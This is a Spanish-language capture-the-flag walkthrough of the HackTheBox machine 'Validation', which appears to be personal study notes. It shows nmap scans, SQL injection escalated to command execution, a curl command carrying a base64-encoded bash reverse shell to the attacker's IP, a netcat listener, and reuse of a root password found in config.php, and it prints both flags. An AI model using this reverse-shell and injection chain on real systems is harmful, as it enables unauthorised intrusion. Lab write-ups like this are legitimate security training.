Validation
Sobre esta maquina: HTB
Sistema Operativo: Linux
Skills Usados:
SQLI (Error Based)
SQLI -> RCE (INTO OUTFILE)
Information Leakage
Metodologia:
realizamos el primer Escaneo Nmap del target:
//
❯ nmap -p- -T4 -sS --open -Pn -n 10.10.11.116
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-28 15:03 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 16.40% done; ETC: 15:04 (0:00:56 remaining)
Nmap scan report for 10.10.11.116
Host is up (0.14s latency).
Not shown: 64969 closed tcp ports (reset), 562 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4566/tcp open kwtc
8080/tcp open http-proxy
Hacemos escaneo con scripts y versiones de los puertos abiertos:
//
❯ nmap -T4 -sS -sVC -p22,80,4566,8080 -n 10.10.11.116 -oN service_scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Revisamos lo que esta corriendo en el puerto 80:

Intentamos capturar con Burpsuite peticiones para ver si es vulnerable a sql, donde observaremos que si es vulnerable, obteneos el nombre de la base de datos "Registration".














Podemos observar que ya podemos ejecutar comandos utilizando cmd?=
Ahora desde la terminal utilizando CURL podremos mandar una shell inyectando codigo php a la maquina victima y poniendonos en escucha al mismo tiempo por el puerto que nos parezca, en este caso el 4444.
DISCLAIMER
Al realizar el Curl, un script de Python, e incluso una revershell URL encodeada directa en el subdominio /prueba.php no podía recibir la petición a través de NC estando en escucha por ningún puerto lo unico que me funciono fue url encodear en código base 64. (esto debido a una incompatibilidad en mi ZSH).
Logro funcionar por que evita problemas de comillas, Algunos filtros web o configuraciones del servidor rompen comandos con comillas dobles, simples o caracteres especiales.
Así que toco codificar la peticion en base64 , pero OJO no se si funcionara para otras personas que no usen la zsh.
FIN DEL DISCLAIMER :3
//
Usamos CURL y url encodeamos en base 64 para solicitar revershell
en puerto 4444
❯ curl 10.10.11.116/prueba.php --data-urlencode 'cmd=echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MC80NDQ0IDA+JjE= | base64 -d | bash'
Nos ponemos en escucha en el 4444 con NC
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.40] from (UNKNOWN) [10.10.11.116] 48238
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$
Obtuvimos acceso ahora capturamos Flag
www-data@validation:/var/www/html$ cd /home
www-data@validation:/home$ ls
htb
www-data@validation:/home$ cd htb
www-data@validation:/home/htb$ ls
user.txt
www-data@validation:/home/htb$ cat user.txt
8bdad772d8d84f66821eca5f56a5cb41
Para escalar privilegios intentaremos revisar los
archivos php del sistema en donde nos encontramos
con config.php , al revisarlo conseguimos unas
credenciales y al colocarlas nos convierten en root
www-data@validation:/home/htb$ cd /var/www/html
www-data@validation:/var/www/html$ ls
account.php
config.php
css
index.php
js
www-data@validation:/var/www/html$ cat config.php
User: Registration
Password: uhc-9qual-global-pw
www-data@validation:/var/www/html$ su -
Password: uhc-9qual-global-pw
id
uid=0(root) gid=0(root) groups=0(root)
Ahora capturamos la flag de ROOT
ls
config
ipp.ko
root.txt
snap
cat root.txt
fa9dec0dbcfc6909478498fc68956399
Una vez Rooteada la maquina la damos por terminada.
Last updated